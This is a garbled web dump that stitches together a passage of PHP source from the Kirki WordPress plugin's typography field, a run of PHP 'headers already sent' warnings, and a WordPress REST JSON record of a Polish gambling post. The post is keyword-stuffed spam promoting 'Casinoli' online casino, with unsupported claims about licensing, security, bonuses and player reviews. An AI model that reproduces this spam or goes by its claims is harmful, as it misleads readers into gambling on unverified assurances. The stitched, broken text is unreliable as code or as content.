wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
{"id":22546,"date":"2025-02-01T13:29:54","date_gmt":"2025-02-01T13:29:54","guid":{"rendered":"https:\/\/aimecu.org\/?p=22546"},"modified":"2025-02-01T22:29:37","modified_gmt":"2025-02-01T22:29:37","slug":"casinoli-kasyno-online-w-polsce-2025-przeglad-trendow-i-mozliwosci-w-swiecie-gier-hazardowych","status":"publish","type":"post","link":"https:\/\/aimecu.org\/casinoli-kasyno-online-w-polsce-2025-przeglad-trendow-i-mozliwosci-w-swiecie-gier-hazardowych\/","title":{"rendered":"Casinoli Kasyno Online w Polsce 2025 \u2013 Przegl\u0105d Trend\u00f3w i Mo\u017cliwo\u015bci w \u015awiecie Gier Hazardowych"},"content":{"rendered":"
\n <\/p>\n <\/font>\n <\/p>\n Szukasz najlepszego do\u015bwiadczenia w grach online? Casinoli to idealne miejsce dla Ciebie! Sprawd\u017a Casinoli opinie i przekonaj si\u0119, dlaczego gracze wybieraj\u0105 nasze kasyno.<\/p>\n Zaloguj si\u0119 przez Casinoli login lub pobierz wygodn\u0105 Casinoli app, aby cieszy\u0107 si\u0119 grami na swoim urz\u0105dzeniu. Nie czekaj, do\u0142\u0105cz do spo\u0142eczno\u015bci casinoly<\/a> ju\u017c dzi\u015b!<\/p>\n Zarejestruj si\u0119 w Casinoli casino i odkryj ekskluzywne bonusy oraz setki gier. Casinoly login to Tw\u00f3j klucz do niezapomnianej rozrywki!<\/p>\n Casinoli to jedno z najbardziej innowacyjnych kasyn online w Polsce, kt\u00f3re oferuje niezapomniane wra\u017cenia z gry. Dzi\u0119ki Casinoly Casino mo\u017cesz cieszy\u0107 si\u0119 szerok\u0105 gam\u0105 gier, od automat\u00f3w po gry sto\u0142owe, dostosowanych do potrzeb ka\u017cdego gracza. Casinoly opinie potwierdzaj\u0105, \u017ce platforma ta wyr\u00f3\u017cnia si\u0119 wysok\u0105 jako\u015bci\u0105 obs\u0142ugi klienta oraz bezpiecze\u0144stwem transakcji.<\/p>\n Je\u015bli szukasz wyj\u0105tkowych emocji, Casinoli app to idealne rozwi\u0105zanie. Aplikacja mobilna Casinoly pozwala na dost\u0119p do ulubionych gier w dowolnym miejscu i czasie. Dzi\u0119ki Casinoli login mo\u017cesz szybko zalogowa\u0107 si\u0119 do swojego konta i rozpocz\u0105\u0107 gr\u0119 w kilka sekund.<\/p>\n Casinoli opinie podkre\u015blaj\u0105 r\u00f3wnie\u017c \u0142atwo\u015b\u0107 nawigacji oraz atrakcyjne bonusy, kt\u00f3re czekaj\u0105 na nowych i sta\u0142ych graczy. Niezale\u017cnie od tego, czy korzystasz z Casinoly login na komputerze czy przez Casinoli app, do\u015bwiadczenie gry pozostaje na najwy\u017cszym poziomie. Do\u0142\u0105cz do Casinoli ju\u017c dzi\u015b i odkryj, dlaczego to kasyno online zdobywa tak pozytywne opinie w\u015br\u00f3d graczy!<\/p>\n Casinoli to wiod\u0105ce kasyno online w Polsce, kt\u00f3re zdobywa zaufanie graczy dzi\u0119ki innowacyjnym rozwi\u0105zaniom i wysokiej jako\u015bci us\u0142ugom. W 2025 roku Casinoli wyr\u00f3\u017cnia si\u0119 na tle konkurencji, oferuj\u0105c niezr\u00f3wnane wra\u017cenia z gry.<\/p>\n Dzi\u0119ki Casinoli Casino mo\u017cesz cieszy\u0107 si\u0119 szerok\u0105 gam\u0105 gier, od klasycznych slot\u00f3w po ekscytuj\u0105ce gry na \u017cywo. Casinoli app zapewnia wygodny dost\u0119p do ulubionych rozrywek na smartfonach i tabletach, co czyni gr\u0119 jeszcze bardziej dost\u0119pn\u0105.<\/p>\n Casinoly Casino to r\u00f3wnie\u017c gwarancja bezpiecze\u0144stwa i przejrzysto\u015bci. Dzi\u0119ki \u0142atwemu Casinoli login oraz Casinoly login, gracze mog\u0105 szybko zalogowa\u0107 si\u0119 i rozpocz\u0105\u0107 zabaw\u0119. Opinie u\u017cytkownik\u00f3w potwierdzaj\u0105, \u017ce Casinoli opinie s\u0105 pozytywne, a platforma cieszy si\u0119 du\u017cym zaufaniem.<\/p>\n W 2025 roku Casinoly i Casinoli to nie tylko kasyna, ale r\u00f3wnie\u017c spo\u0142eczno\u015b\u0107, kt\u00f3ra docenia innowacje i jako\u015b\u0107. Wybierz Casinoli Casino i do\u0142\u0105cz do grona zadowolonych graczy!<\/p>\n Casinoli Casino to miejsce, gdzie nowoczesno\u015b\u0107 spotyka si\u0119 z rozrywk\u0105. Nasza platforma oferuje szeroki wyb\u00f3r gier i automat\u00f3w, kt\u00f3re zaspokoj\u0105 oczekiwania nawet najbardziej wymagaj\u0105cych graczy. Dzi\u0119ki intuicyjnemu interfejsowi i \u0142atwemu dost\u0119powi przez Casinoli login, mo\u017cesz cieszy\u0107 si\u0119 ulubionymi grami w dowolnym miejscu i czasie.<\/p>\n W Casinoli znajdziesz setki tytu\u0142\u00f3w od najlepszych dostawc\u00f3w oprogramowania. Niezale\u017cnie od tego, czy preferujesz klasyczne automaty, gry sto\u0142owe, czy nowoczesne sloty z efektami 3D, nasza oferta z pewno\u015bci\u0105 Ci\u0119 zachwyci. Wiele os\u00f3b, kt\u00f3re pozostawi\u0142y pozytywne Casinoli opinie, docenia r\u00f3wnie\u017c dost\u0119pno\u015b\u0107 gier na urz\u0105dzenia mobilne dzi\u0119ki wygodnej Casinoli app.<\/p>\n Je\u015bli szukasz alternatywy, warto sprawdzi\u0107 r\u00f3wnie\u017c Casinoly, kt\u00f3re oferuje podobne do\u015bwiadczenia. Dzi\u0119ki Casinoly login mo\u017cesz szybko prze\u0142\u0105czy\u0107 si\u0119 mi\u0119dzy platformami i cieszy\u0107 si\u0119 r\u00f3\u017cnorodno\u015bci\u0105 gier. Opinie na temat Casinoly opinie r\u00f3wnie\u017c potwierdzaj\u0105, \u017ce to doskona\u0142e miejsce dla mi\u0142o\u015bnik\u00f3w hazardu online.<\/p>\n Casinoli to nie tylko gry, ale tak\u017ce bezpiecze\u0144stwo i wygoda. Nasze Casinoli casino zapewnia szybkie p\u0142atno\u015bci, wsparcie klienta 24\/7 oraz liczne bonusy, kt\u00f3re sprawiaj\u0105, \u017ce ka\u017cda wizyta jest jeszcze bardziej ekscytuj\u0105ca. Do\u0142\u0105cz do nas ju\u017c dzi\u015b i odkryj \u015bwiat nowoczesnych rozrywek w Casinoli!<\/p>\n Casinoli Kasyno Online stawia na najwy\u017csze standardy bezpiecze\u0144stwa, aby zapewni\u0107 swoim u\u017cytkownikom komfort i ochron\u0119 danych. Platforma posiada licencj\u0119 wydan\u0105 przez renomowane organy regulacyjne, co gwarantuje uczciwo\u015b\u0107 i przejrzysto\u015b\u0107 wszystkich gier. Casinoli casino wykorzystuje zaawansowane technologie szyfrowania, aby chroni\u0107 dane osobowe i transakcje finansowe graczy.<\/p>\n Dzi\u0119ki Casinoli app mo\u017cesz cieszy\u0107 si\u0119 bezpiecznym dost\u0119pem do gier w dowolnym miejscu i czasie. Logowanie do Casinoly login jest proste i szybkie, a jednocze\u015bnie zabezpieczone przed nieautoryzowanym dost\u0119pem. Wiele pozytywnych opinii, takich jak Casinoli opinie czy Casinoly opinie, potwierdza, \u017ce platforma jest godna zaufania i spe\u0142nia oczekiwania nawet najbardziej wymagaj\u0105cych graczy.<\/p>\n Casinoli casino regularnie poddaje swoje systemy audytom, aby zapewni\u0107 zgodno\u015b\u0107 z mi\u0119dzynarodowymi standardami bezpiecze\u0144stwa. Dzi\u0119ki temu mo\u017cesz mie\u0107 pewno\u015b\u0107, \u017ce Twoje do\u015bwiadczenia z Casinoly s\u0105 nie tylko ekscytuj\u0105ce, ale r\u00f3wnie\u017c w pe\u0142ni bezpieczne.<\/p>\n Casinoli to platforma, kt\u00f3ra oferuje swoim graczom szerok\u0105 gam\u0119 bonus\u00f3w i promocji. Niezale\u017cnie od tego, czy jeste\u015b nowym u\u017cytkownikiem, czy sta\u0142ym graczem, Casinoli ma co\u015b specjalnego dla Ciebie. Poni\u017cej znajdziesz najciekawsze oferty:<\/p>\n Opinie graczy na temat Casinoli s\u0105 bardzo pozytywne. Wiele os\u00f3b podkre\u015bla, \u017ce casinoli opinie<\/a> potwierdzaj\u0105 rzetelno\u015b\u0107 i atrakcyjno\u015b\u0107 oferty. Sprawd\u017a sam, dlaczego Casinoli cieszy si\u0119 tak du\u017c\u0105 popularno\u015bci\u0105 w\u015br\u00f3d polskich graczy!<\/p>\n Nie czekaj! Odwied\u017a Casinoli ju\u017c dzi\u015b i odkryj, dlaczego casinoly opinie<\/a> s\u0105 tak entuzjastyczne. To idealne miejsce dla mi\u0142o\u015bnik\u00f3w gier online!<\/p>\n Rozpocz\u0119cie gry w Casinoli Kasyno Online jest proste i szybkie. Wystarczy wykona\u0107 kilka krok\u00f3w, aby cieszy\u0107 si\u0119 emocjonuj\u0105c\u0105 rozrywk\u0105. Poni\u017cej znajdziesz przewodnik, kt\u00f3ry pomo\u017ce Ci rozpocz\u0105\u0107 przygod\u0119 z Casinoli.<\/p>\n Krok Casinoli to miejsce, gdzie ka\u017cdy znajdzie co\u015b dla siebie. Niezale\u017cnie od tego, czy jeste\u015b nowicjuszem, czy do\u015bwiadczonym graczem, Casinoli Casino zapewnia niezapomniane wra\u017cenia. Zacznij ju\u017c dzi\u015b!<\/p>\n Casinoli Kasyno Online zdobywa coraz wi\u0119ksz\u0105 popularno\u015b\u0107 w\u015br\u00f3d polskich graczy. Wielu u\u017cytkownik\u00f3w chwali \u0142atwo\u015b\u0107 logowania przez casinoli login, co pozwala na szybki dost\u0119p do gier. Gracze doceniaj\u0105 r\u00f3wnie\u017c r\u00f3\u017cnorodno\u015b\u0107 oferty w casinoli casino, kt\u00f3ra obejmuje zar\u00f3wno klasyczne automaty, jak i gry na \u017cywo.<\/p>\n Wiele opinii na temat casinoli opinie podkre\u015bla wygod\u0119 korzystania z aplikacji mobilnej. Casinoli app jest intuicyjna i dzia\u0142a p\u0142ynnie, co jest ogromnym atutem dla os\u00f3b graj\u0105cych w podr\u00f3\u017cy. Dodatkowo, por\u00f3wnuj\u0105c casinoly opinie, mo\u017cna zauwa\u017cy\u0107, \u017ce obie platformy ciesz\u0105 si\u0119 pozytywnym odbiorem, cho\u0107 casinoli wyr\u00f3\u017cnia si\u0119 lepsz\u0105 obs\u0142ug\u0105 klienta.<\/p>\n Ci, kt\u00f3rzy korzystali z casinoly casino, cz\u0119sto wskazuj\u0105 na atrakcyjne bonusy, ale podkre\u015blaj\u0105, \u017ce casinoli oferuje bardziej przejrzyste warunki promocji. Warto r\u00f3wnie\u017c wspomnie\u0107, \u017ce proces casinoly login jest r\u00f3wnie prosty, co sprawia, \u017ce obie platformy s\u0105 przyjazne dla nowych u\u017cytkownik\u00f3w.<\/p>\n Wraz z rozwojem technologii i rosn\u0105c\u0105 popularno\u015bci\u0105 gier online, kasyna internetowe w Polsce w 2025 roku b\u0119d\u0105 oferowa\u0107 jeszcze wi\u0119cej innowacji. Oto najwa\u017cniejsze trendy, kt\u00f3re mog\u0105 zdominowa\u0107 rynek:<\/p>\n W 2025 roku kasyna online w Polsce b\u0119d\u0105 nie tylko miejscem rozrywki, ale r\u00f3wnie\u017c przestrzeni\u0105 innowacji technologicznych. Platformy takie jak Casinoli i Casinoly b\u0119d\u0105 odgrywa\u0107 kluczow\u0105 rol\u0119 w kszta\u0142towaniu przysz\u0142o\u015bci bran\u017cy.<\/p>\n","protected":false},"excerpt":{"rendered":" \u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 Casinoli Kasyno Online w Polsce (2025): Najlepsze Do\u015bwiadczenia Gry Dlaczego Casinoli to Najlepszy Wyb\u00f3r w 2025? Nowoczesne Gry i Automaty w Casinoli Bezpiecze\u0144stwo i Licencje Casinoli Kasyno Online Bonusy […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-22546","post","type-post","status-publish","format-standard","hentry","category-uncategorized","entry"],"acf":[],"yoast_head":"\n\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435<\/h2>\n
\n
Casinoli Kasyno Online w Polsce (2025): Najlepsze Do\u015bwiadczenia Gry<\/a><\/h3>\n<\/li>\n
Dlaczego Casinoli to Najlepszy Wyb\u00f3r w 2025?<\/a><\/h3>\n<\/li>\n
Nowoczesne Gry i Automaty w Casinoli<\/a><\/h3>\n<\/li>\n
Bezpiecze\u0144stwo i Licencje Casinoli Kasyno Online<\/a><\/h3>\n<\/li>\n
Bonusy i Promocje Dla Graczy w Casinoli<\/a><\/h3>\n<\/li>\n
Jak Zacz\u0105\u0107 Gra\u0107 w Casinoli Kasyno Online?<\/a><\/h3>\n<\/li>\n
Opinie Graczy o Casinoli Kasyno Online<\/a><\/h3>\n<\/li>\n
Przysz\u0142o\u015b\u0107 Kasyn Online w Polsce: Trendy na 2025<\/a><\/h3>\n<\/li>\n<\/ul><\/div>\n
Casinoli Kasyno Online w Polsce 2025 \u2013 Przegl\u0105d Trend\u00f3w i Mo\u017cliwo\u015bci w \u015awiecie Gier Hazardowych<\/h1>\n
Casinoli Kasyno Online w Polsce (2025): Najlepsze Do\u015bwiadczenia Gry<\/h2>\n
Dlaczego Casinoli to Najlepszy Wyb\u00f3r w 2025?<\/h2>\n
Nowoczesne Gry i Automaty w Casinoli<\/h2>\n
Bezpiecze\u0144stwo i Licencje Casinoli Kasyno Online<\/h2>\n
Bonusy i Promocje Dla Graczy w Casinoli<\/h2>\n
\n
Jak Zacz\u0105\u0107 Gra\u0107 w Casinoli Kasyno Online?<\/h2>\n
\n
\nOpis<\/p>\n1. Rejestracja<\/td>\n Wejd\u017a na stron\u0119 Casinoli Casino i kliknij przycisk “Zarejestruj si\u0119”. Wype\u0142nij formularz, podaj\u0105c swoje dane. Po rejestracji otrzymasz dost\u0119p do konta.<\/td>\n 2. Logowanie<\/td>\n U\u017cyj danych z rejestracji, aby zalogowa\u0107 si\u0119 przez Casinoli login lub Casinoly login. Je\u015bli masz ju\u017c konto, proces ten zajmie tylko kilka sekund.<\/td>\n 3. Pobierz aplikacj\u0119<\/td>\n Dla wygody pobierz Casinoli app na sw\u00f3j telefon. Aplikacja oferuje pe\u0142ny dost\u0119p do gier i funkcji kasyna.<\/td>\n 4. Wybierz gr\u0119<\/td>\n Przegl\u0105daj bogat\u0105 ofert\u0119 gier w Casinoly Casino. Mo\u017cesz wybra\u0107 sloty, gry sto\u0142owe lub na \u017cywo z krupierem.<\/td>\n 5. Sprawd\u017a opinie<\/td>\n Przed rozpocz\u0119ciem gry warto zapozna\u0107 si\u0119 z Casinoli opinie. Dzi\u0119ki temu dowiesz si\u0119 wi\u0119cej o do\u015bwiadczeniach innych graczy.<\/td>\n<\/table>\n Opinie Graczy o Casinoli Kasyno Online<\/h2>\n
Przysz\u0142o\u015b\u0107 Kasyn Online w Polsce: Trendy na 2025<\/h2>\n
\n